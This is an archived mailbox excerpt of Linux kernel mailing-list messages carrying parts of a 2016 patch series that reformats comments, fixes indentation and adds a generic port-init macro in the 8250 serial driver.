Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755305AbcANPI5 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 14 Jan 2016 10:08:57 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:57715 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1754768AbcANPIq (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 14 Jan 2016 10:08:46 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id CBAF958C4D2;
	Thu, 14 Jan 2016 16:08:42 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Thu, 14 Jan 2016 16:08:42 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126811 gmane.linux.serial:21569 gmane.linux.ports.parisc:26399
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126811>

Checkpatch outputs some warnings about incorrect comment style,
which is fixed by this patch.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Reviewed-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_ingenic.c | 12 ++++++++----
 drivers/tty/serial/8250/8250_pnp.c     | 14 ++++++++------
 drivers/tty/serial/8250/8250_port.c    | 32 +++++++++++++++++---------=
------
 drivers/tty/serial/8250/serial_cs.c    | 26 +++++++++++++++++---------
 4 files changed, 50 insertions(+), 34 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_ingenic.c b/drivers/tty/seria=
l/8250/8250_ingenic.c
index 49394b4..4d9dc10 100644
--- a/drivers/tty/serial/8250/8250_ingenic.c
+++ b/drivers/tty/serial/8250/8250_ingenic.c
@@ -152,14 +152,18 @@ static void ingenic_uart_serial_out(struct uart_p=
ort *p, int offset, int value)
 		break;
=20
 	case UART_IER:
-		/* Enable receive timeout interrupt with the
-		 * receive line status interrupt */
+		/*
+		 * Enable receive timeout interrupt with the receive line
+		 * status interrupt.
+		 */
 		value |=3D (value & 0x4) << 2;
 		break;
=20
 	case UART_MCR:
-		/* If we have enabled modem status IRQs we should enable modem
-		 * mode. */
+		/*
+		 * If we have enabled modem status IRQs we should enable
+		 * modem mode.
+		 */
 		ier =3D p->serial_in(p, UART_IER);
=20
 		if (ier & UART_IER_MSI)
diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index 658b392..00846a7 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -357,8 +357,8 @@ static const struct pnp_device_id pnp_dev_table[] =3D=
 {
 	/* Fujitsu Wacom 1FGT Tablet PC device */
 	{	"FUJ02E9",		0	},
 	/*
-	 * LG C1 EXPRESS DUAL (C1-PB11A3) touch screen (actually a FUJ02E6 in
-	 * disguise)
+	 * LG C1 EXPRESS DUAL (C1-PB11A3) touch screen (actually a FUJ02E6
+	 * in disguise).
 	 */
 	{	"LTS0001",		0       },
 	/* Rockwell's (PORALiNK) 33600 INT PNP */
@@ -367,12 +367,14 @@ static const struct pnp_device_id pnp_dev_table[]=
 =3D {
 	{	"PNPCXXX",		UNKNOWN_DEV	},
 	/* More unknown PnP modems */
 	{	"PNPDXXX",		UNKNOWN_DEV	},
-	/* Winbond CIR port, should not be probed. We should keep track
-	   of it to prevent the legacy serial driver from probing it */
+	/*
+	 * Winbond CIR port, should not be probed. We should keep track of
+	 * it to prevent the legacy serial driver from probing it.
+	 */
 	{	"WEC1022",		CIR_PORT	},
 	/*
-	 * SMSC IrCC SIR/FIR port, should not be probed by serial driver
-	 * as well so its own driver can bind to it.
+	 * SMSC IrCC SIR/FIR port, should not be probed by serial driver as
+	 * well so its own driver can bind to it.
 	 */
 	{	"SMCF010",		CIR_PORT	},
 	{	"",			0	}
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index f2e588e..5375c24 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -250,9 +250,11 @@ static const struct serial8250_config uart_config[=
] =3D {
 		.fcr		=3D UART_FCR_ENABLE_FIFO | UART_FCR_R_TRIG_10,
 		.flags		=3D UART_CAP_FIFO | UART_CAP_AFE,
 	},
-/* tx_loadsz is set to 63-bytes instead of 64-bytes to implement
-workaround of errata A-008006 which states that tx_loadsz should  be
-configured less than Maximum supported fifo bytes */
+	/*
+	 * tx_loadsz is set to 63-bytes instead of 64-bytes to implement
+	 * workaround of errata A-008006 which states that tx_loadsz should
+	 * be configured less than Maximum supported fifo bytes.
+	 */
 	[PORT_16550A_FSL64] =3D {
 		.name		=3D "16550A_FSL64",
 		.fifo_size	=3D 64,
@@ -1969,23 +1971,23 @@ int serial8250_do_startup(struct uart_port *por=
t)
=20
 	serial8250_set_mctrl(port, port->mctrl);
=20
-	/* Serial over Lan (SoL) hack:
-	   Intel 8257x Gigabit ethernet chips have a
-	   16550 emulation, to be used for Serial Over Lan.
-	   Those chips take a longer time than a normal
-	   serial device to signalize that a transmission
-	   data was queued. Due to that, the above test generally
-	   fails. One solution would be to delay the reading of
-	   iir. However, this is not reliable, since the timeout
-	   is variable. So, let's just don't test if we receive
-	   TX irq. This way, we'll never enable UART_BUG_TXEN.
+	/*
+	 * Serial over Lan (SoL) hack:
+	 * Intel 8257x Gigabit ethernet chips have a 16550 emulation, to be
+	 * used for Serial Over Lan.  Those chips take a longer time than a
+	 * normal serial device to signalize that a transmission data was
+	 * queued. Due to that, the above test generally fails. One solution
+	 * would be to delay the reading of iir. However, this is not
+	 * reliable, since the timeout is variable. So, let's just don't
+	 * test if we receive TX irq.  This way, we'll never enable
+	 * UART_BUG_TXEN.
 	 */
 	if (up->port.flags & UPF_NO_TXEN_TEST)
 		goto dont_test_tx_en;
=20
 	/*
-	 * Do a quick test to see if we receive an
-	 * interrupt when we enable the TX irq.
+	 * Do a quick test to see if we receive an interrupt when we enable
+	 * the TX irq.
 	 */
 	serial_port_out(port, UART_IER, UART_IER_THRI);
 	lsr =3D serial_port_in(port, UART_LSR);
diff --git a/drivers/tty/serial/8250/serial_cs.c b/drivers/tty/serial/8=
250/serial_cs.c
index 6d7a801..2b7309d 100644
--- a/drivers/tty/serial/8250/serial_cs.c
+++ b/drivers/tty/serial/8250/serial_cs.c
@@ -441,16 +441,20 @@ static int simple_config(struct pcmcia_device *li=
nk)
 	struct serial_info *info =3D link->priv;
 	int i =3D -ENODEV, try;
=20
-	/* First pass: look for a config entry that looks normal.
-	 * Two tries: without IO aliases, then with aliases */
+	/*
+	 * First pass: look for a config entry that looks normal.
+	 * Two tries: without IO aliases, then with aliases.
+	 */
 	link->config_flags |=3D CONF_AUTO_SET_VPP;
 	for (try =3D 0; try < 4; try++)
 		if (!pcmcia_loop_config(link, simple_config_check, &try))
 			goto found_port;
=20
-	/* Second pass: try to find an entry that isn't picky about
-	   its base address, then try to grab any standard serial port
-	   address, and finally try to get any free port. */
+	/*
+	 * Second pass: try to find an entry that isn't picky about
+	 * its base address, then try to grab any standard serial port
+	 * address, and finally try to get any free port.
+	 */
 	if (!pcmcia_loop_config(link, simple_config_check_notpicky, NULL))
 		goto found_port;
=20
@@ -480,8 +484,10 @@ static int multi_config_check(struct pcmcia_device=
 *p_dev, void *priv_data)
 	if (p_dev->resource[1]->end)
 		return -EINVAL;
=20
-	/* The quad port cards have bad CIS's, so just look for a
-	   window larger than 8 ports and assume it will be right */
+	/*
+	 * The quad port cards have bad CIS's, so just look for a
+	 * window larger than 8 ports and assume it will be right.
+	 */
 	if (p_dev->resource[0]->end <=3D 8)
 		return -EINVAL;
=20
@@ -623,8 +629,10 @@ static int serial_config(struct pcmcia_device *lin=
k)
 			break;
 		}
=20
-	/* Another check for dual-serial cards: look for either serial or
-	   multifunction cards that ask for appropriate IO port ranges */
+	/*
+	 * Another check for dual-serial cards: look for either serial or
+	 * multifunction cards that ask for appropriate IO port ranges.
+	 */
 	if ((info->multi =3D=3D 0) &&
 	    (link->has_func_id) &&
 	    (link->socket->pcmcia_pfc =3D=3D 0) &&
--=20
1.9.1



From - Thu Nov 08 21:38:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.serial,gmane.linux.kernel
Subject: [PATCH v7 15/15] tty: serial: 8250: Add generic port init macro
Date: Thu, 14 Jan 2016 16:08:24 +0100
Lines: 207
Approved: news@gmane.org
Message-ID: <1452784104-30840-16-git-send-email-anton.wuerfel@fau.de>
References: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452784169 16056 80.91.229.3 (14 Jan 2016 15:09:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 15:09:29 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jan 14 16:09:27 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aJjWf-0003Y4-Dm
	for glpp-linux-parisc@plane.gmane.org; Thu, 14 Jan 2016 16:09:25 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754946AbcANPJA convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 14 Jan 2016 10:09:00 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:57764 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755003AbcANPI5 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 14 Jan 2016 10:08:57 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 4F3FA58C4CE;
	Thu, 14 Jan 2016 16:08:55 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Thu, 14 Jan 2016 16:08:55 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26400 gmane.linux.serial:21570 gmane.linux.kernel:2126812
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26400>

This patch removes redundant 8250 port initialization macros and
replaces them by a single generic base-macro, which is specialized
as needed.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Suggested-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Reviewed-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250.h               | 12 ++++++++
 drivers/tty/serial/8250/8250_accent.c        | 13 ++-------
 drivers/tty/serial/8250/8250_boca.c          | 41 ++++++++++++--------=
--------
 drivers/tty/serial/8250/8250_exar_st16c554.c | 17 ++++--------
 drivers/tty/serial/8250/8250_fourport.c      | 28 ++++++++-----------
 5 files changed, 49 insertions(+), 62 deletions(-)

diff --git a/drivers/tty/serial/8250/8250.h b/drivers/tty/serial/8250/8=
250.h
index d54dcd8..4672ab4 100644
--- a/drivers/tty/serial/8250/8250.h
+++ b/drivers/tty/serial/8250/8250.h
@@ -92,6 +92,18 @@ struct serial8250_config {
 #define SERIAL8250_SHARE_IRQS 0
 #endif
=20
+#define SERIAL8250_PORT_FLAGS(_base, _irq, _flags)		\
+	{							\
+		.iobase		=3D _base,			\
+		.irq		=3D _irq,				\
+		.uartclk	=3D 1843200,			\
+		.iotype		=3D UPIO_PORT,			\
+		.flags		=3D UPF_BOOT_AUTOCONF | (_flags),	\
+	}
+
+#define SERIAL8250_PORT(_base, _irq) SERIAL8250_PORT_FLAGS(_base, _irq=
, 0)
+
+
 static inline int serial_in(struct uart_8250_port *up, int offset)
 {
 	return up->port.serial_in(&up->port, offset);
diff --git a/drivers/tty/serial/8250/8250_accent.c b/drivers/tty/serial=
/8250/8250_accent.c
index 34b51c6..522aeae 100644
--- a/drivers/tty/serial/8250/8250_accent.c
+++ b/drivers/tty/serial/8250/8250_accent.c
@@ -10,18 +10,11 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
-	{						\
-		.iobase		=3D _base,		\
-		.irq		=3D _irq,			\
-		.uartclk	=3D 1843200,		\
-		.iotype		=3D UPIO_PORT,		\
-		.flags		=3D UPF_BOOT_AUTOCONF,	\
-	}
+#include "8250.h"
=20
 static struct plat_serial8250_port accent_data[] =3D {
-	PORT(0x330, 4),
-	PORT(0x338, 4),
+	SERIAL8250_PORT(0x330, 4),
+	SERIAL8250_PORT(0x338, 4),
 	{ },
 };
=20
diff --git a/drivers/tty/serial/8250/8250_boca.c b/drivers/tty/serial/8=
250/8250_boca.c
index d125dc1..a63b599 100644
--- a/drivers/tty/serial/8250/8250_boca.c
+++ b/drivers/tty/serial/8250/8250_boca.c
@@ -10,32 +10,25 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
-	{						\
-		.iobase		=3D _base,		\
-		.irq		=3D _irq,			\
-		.uartclk	=3D 1843200,		\
-		.iotype		=3D UPIO_PORT,		\
-		.flags		=3D UPF_BOOT_AUTOCONF,	\
-	}
+#include "8250.h"
=20
 static struct plat_serial8250_port boca_data[] =3D {
-	PORT(0x100, 12),
-	PORT(0x108, 12),
-	PORT(0x110, 12),
-	PORT(0x118, 12),
-	PORT(0x120, 12),
-	PORT(0x128, 12),
-	PORT(0x130, 12),
-	PORT(0x138, 12),
-	PORT(0x140, 12),
-	PORT(0x148, 12),
-	PORT(0x150, 12),
-	PORT(0x158, 12),
-	PORT(0x160, 12),
-	PORT(0x168, 12),
-	PORT(0x170, 12),
-	PORT(0x178, 12),
+	SERIAL8250_PORT(0x100, 12),
+	SERIAL8250_PORT(0x108, 12),
+	SERIAL8250_PORT(0x110, 12),
+	SERIAL8250_PORT(0x118, 12),
+	SERIAL8250_PORT(0x120, 12),
+	SERIAL8250_PORT(0x128, 12),
+	SERIAL8250_PORT(0x130, 12),
+	SERIAL8250_PORT(0x138, 12),
+	SERIAL8250_PORT(0x140, 12),
+	SERIAL8250_PORT(0x148, 12),
+	SERIAL8250_PORT(0x150, 12),
+	SERIAL8250_PORT(0x158, 12),
+	SERIAL8250_PORT(0x160, 12),
+	SERIAL8250_PORT(0x168, 12),
+	SERIAL8250_PORT(0x170, 12),
+	SERIAL8250_PORT(0x178, 12),
 	{ },
 };
=20
diff --git a/drivers/tty/serial/8250/8250_exar_st16c554.c b/drivers/tty=
/serial/8250/8250_exar_st16c554.c
index bf53aab..3a7cb82 100644
--- a/drivers/tty/serial/8250/8250_exar_st16c554.c
+++ b/drivers/tty/serial/8250/8250_exar_st16c554.c
@@ -13,20 +13,13 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)				\
-	{						\
-		.iobase		=3D _base,		\
-		.irq		=3D _irq,			\
-		.uartclk	=3D 1843200,		\
-		.iotype		=3D UPIO_PORT,		\
-		.flags		=3D UPF_BOOT_AUTOCONF,	\
-	}
+#include "8250.h"
=20
 static struct plat_serial8250_port exar_data[] =3D {
-	PORT(0x100, 5),
-	PORT(0x108, 5),
-	PORT(0x110, 5),
-	PORT(0x118, 5),
+	SERIAL8250_PORT(0x100, 5),
+	SERIAL8250_PORT(0x108, 5),
+	SERIAL8250_PORT(0x110, 5),
+	SERIAL8250_PORT(0x118, 5),
 	{ },
 };
=20
diff --git a/drivers/tty/serial/8250/8250_fourport.c b/drivers/tty/seri=
al/8250/8250_fourport.c
index be15826..4045180 100644
--- a/drivers/tty/serial/8250/8250_fourport.c
+++ b/drivers/tty/serial/8250/8250_fourport.c
@@ -10,24 +10,20 @@
 #include <linux/init.h>
 #include <linux/serial_8250.h>
=20
-#define PORT(_base,_irq)						\
-	{								\
-		.iobase		=3D _base,				\
-		.irq		=3D _irq,					\
-		.uartclk	=3D 1843200,				\
-		.iotype		=3D UPIO_PORT,				\
-		.flags		=3D UPF_BOOT_AUTOCONF | UPF_FOURPORT,	\
-	}
+#include "8250.h"
+
+#define SERIAL8250_FOURPORT(_base, _irq) \
+	SERIAL8250_PORT_FLAGS(_base, _irq, UPF_FOURPORT)
=20
 static struct plat_serial8250_port fourport_data[] =3D {
-	PORT(0x1a0, 9),
-	PORT(0x1a8, 9),
-	PORT(0x1b0, 9),
-	PORT(0x1b8, 9),
-	PORT(0x2a0, 5),
-	PORT(0x2a8, 5),
-	PORT(0x2b0, 5),
-	PORT(0x2b8, 5),
+	SERIAL8250_FOURPORT(0x1a0, 9),
+	SERIAL8250_FOURPORT(0x1a8, 9),
+	SERIAL8250_FOURPORT(0x1b0, 9),
+	SERIAL8250_FOURPORT(0x1b8, 9),
+	SERIAL8250_FOURPORT(0x2a0, 5),
+	SERIAL8250_FOURPORT(0x2a8, 5),
+	SERIAL8250_FOURPORT(0x2b0, 5),
+	SERIAL8250_FOURPORT(0x2b8, 5),
 	{ },
 };
=20
--=20
1.9.1

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v7 14/15] tty: serial: 8250: Fix indentation warnings
Date: Thu, 14 Jan 2016 16:08:23 +0100
Lines: 86
Approved: news@gmane.org
Message-ID: <1452784104-30840-15-git-send-email-anton.wuerfel@fau.de>
References: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452784189 16318 80.91.229.3 (14 Jan 2016 15:09:49 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 15:09:49 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 14 16:09:46 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJjWz-0003nB-KJ
	for glk-linux-kernel-3@plane.gmane.org; Thu, 14 Jan 2016 16:09:45 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755378AbcANPJf convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 14 Jan 2016 10:09:35 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:57715 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755250AbcANPI4 (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 14 Jan 2016 10:08:56 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 3569558C4D2;
	Thu, 14 Jan 2016 16:08:54 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Thu, 14 Jan 2016 16:08:54 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2126813 gmane.linux.serial:21571 gmane.linux.ports.parisc:26401
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2126813>

Checkpatch complains about incorrect indentation of switch/case stateme=
nts.
This patch fixes the corresponding warnings. Additionally some indentat=
ion
is changed to match the correct format specified in the Linux Kernel
Coding Style.

Signed-off-by: Anton W=C3=BCrfel <anton.wuerfel@fau.de>
Signed-off-by: Phillip Raffeck <phillip.raffeck@fau.de>
Reviewed-by: Andy Shevchenko <andriy.shevchenko@linux.intel.com>
Cc: linux-kernel@i4.cs.fau.de
---
 drivers/tty/serial/8250/8250_pci.c  | 16 ++++++++--------
 drivers/tty/serial/8250/8250_pnp.c  |  4 ++--
 drivers/tty/serial/8250/8250_port.c |  6 +++---
 3 files changed, 13 insertions(+), 13 deletions(-)

diff --git a/drivers/tty/serial/8250/8250_pci.c b/drivers/tty/serial/82=
50/8250_pci.c
index b22e5a5..40aa5e7 100644
--- a/drivers/tty/serial/8250/8250_pci.c
+++ b/drivers/tty/serial/8250/8250_pci.c
@@ -842,15 +842,15 @@ static int pci_netmos_init(struct pci_dev *dev)
 		return 0;
=20
 	switch (dev->device) { /* FALLTHROUGH on all */
-		case PCI_DEVICE_ID_NETMOS_9904:
-		case PCI_DEVICE_ID_NETMOS_9912:
-		case PCI_DEVICE_ID_NETMOS_9922:
-		case PCI_DEVICE_ID_NETMOS_9900:
-			num_serial =3D pci_netmos_9900_numports(dev);
-			break;
+	case PCI_DEVICE_ID_NETMOS_9904:
+	case PCI_DEVICE_ID_NETMOS_9912:
+	case PCI_DEVICE_ID_NETMOS_9922:
+	case PCI_DEVICE_ID_NETMOS_9900:
+		num_serial =3D pci_netmos_9900_numports(dev);
+		break;
=20
-		default:
-			break;
+	default:
+		break;
 	}
=20
 	if (num_serial =3D=3D 0) {
diff --git a/drivers/tty/serial/8250/8250_pnp.c b/drivers/tty/serial/82=
50/8250_pnp.c
index b2d163c..2c757b0 100644
--- a/drivers/tty/serial/8250/8250_pnp.c
+++ b/drivers/tty/serial/8250/8250_pnp.c
@@ -427,8 +427,8 @@ static int check_resources(struct pnp_dev *dev)
 static int serial_pnp_guess_board(struct pnp_dev *dev)
 {
 	if (!(check_name(pnp_dev_name(dev)) ||
-		(dev->card && check_name(dev->card->name))))
-			return -ENODEV;
+	    (dev->card && check_name(dev->card->name))))
+		return -ENODEV;
=20
 	if (check_resources(dev))
 		return 0;
diff --git a/drivers/tty/serial/8250/8250_port.c b/drivers/tty/serial/8=
250/8250_port.c
index 25fd6b4..9fe814f 100644
--- a/drivers/tty/serial/8250/8250_port.c
+++ b/drivers/tty/serial/8250/8250_port.c
@@ -2236,9 +2236,9 @@ static void serial8250_set_divisor(struct uart_po=
rt *port, unsigned int baud,
 		serial_port_out(port, 0x2, quot_frac);
 }
=20
-static unsigned int
-serial8250_get_baud_rate(struct uart_port *port, struct ktermios *term=
ios,
-			 struct ktermios *old)
+static unsigned int serial8250_get_baud_rate(struct uart_port *port,
+					     struct ktermios *termios,
+					     struct ktermios *old)
 {
 	unsigned int tolerance =3D port->uartclk / 100;
=20
--=20
1.9.1



From - Thu Nov 08 21:38:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Anton Wuerfel <anton.wuerfel@fau.de>
Newsgroups: gmane.linux.kernel,gmane.linux.serial,gmane.linux.ports.parisc
Subject: [PATCH v7 07/15] tty: serial: 8250: Fix line continuation warning
Date: Thu, 14 Jan 2016 16:08:16 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <1452784104-30840-8-git-send-email-anton.wuerfel@fau.de>
References: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1452784200 16679 80.91.229.3 (14 Jan 2016 15:10:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 14 Jan 2016 15:10:00 +0000 (UTC)
Cc: Jiri Slaby <jslaby@suse.com>,
	"James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>,
	Joachim Eastwood <manabian@gmail.com>,
	Matthias Brugger <matthias.bgg@gmail.com>,
	Masahiro Yamada <yamada.masahiro@socionext.com>,
	Peter Hurley <peter@hurleysoftware.com>,
	Sebastian Andrzej Siewior <bigeasy@linutronix.de>,
	Andy Shevchenko <andriy.shevchenko@linux.intel.com>,
	Phillip Raffeck <phillip.raffeck@fau.de>,
	Heikki Krogerus <heikki.krogerus@linux.intel.com>,
	Peter Hung <hpeter@gmail.com>, linux-serial@vger.kernel.org,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	linux-kernel@i4.cs.fau.de, Anton Wuerfel <anton.wuerfel@fau.de>
To: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Jan 14 16:09:58 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1aJjX9-0003vn-FJ
	for glk-linux-kernel-3@plane.gmane.org; Thu, 14 Jan 2016 16:09:55 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755275AbcANPI4 convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glk-linux-kernel-3@m.gmane.org>);
	Thu, 14 Jan 2016 10:08:56 -0500
Original-Received: from faui40.informatik.uni-erlangen.de ([131.188.34.40]:57764 "EHLO
	faui40.informatik.uni-erlangen.de" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755003AbcANPIt (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Thu, 14 Jan 2016 10:08:49 -0500
Original-Received: from faui49man2 (faui49man2.informatik.uni-erlangen.de [131.188.42.190])
	by faui40.informatik.uni-erlangen.de (Postfix) with SMTP id 2F43B58C4DD;
	Thu, 14 Jan 2016 16:08:46 +0100 (CET)
Original-Received: by faui49man2 (sSMTP sendmail emulation); Thu, 14 Jan 2016 16:08:46 +0100
X-Mailer: git-send-email 1.9.1
In-Reply-To: <1452784104-30840-1-git-send-email-anton.wuerfel@fau.de>
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
